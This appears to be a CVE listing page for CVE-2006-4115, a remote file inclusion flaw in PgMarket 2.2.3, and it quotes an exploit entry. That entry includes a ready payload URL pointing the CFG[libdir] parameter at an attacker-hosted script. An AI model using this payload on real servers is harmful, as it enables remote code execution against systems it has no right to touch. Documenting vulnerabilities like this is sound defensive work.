CVE-2006-4115

PHP remote file inclusion vulnerability in common.inc.php in PgMarket 2.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the CFGlibdir parameter...

CVE-2006-4115

CVE-2006-4115 describes a PHP remote file inclusion vulnerability in PgMarket 2.2.3, triggered when register_globals is enabled. The flaw allows remote attackers to execute arbitrary PHP code via the CFG[libdir] parameter in common.inc.php. Connected sources (NVD entry) confirm the affected softw...

PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion

C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...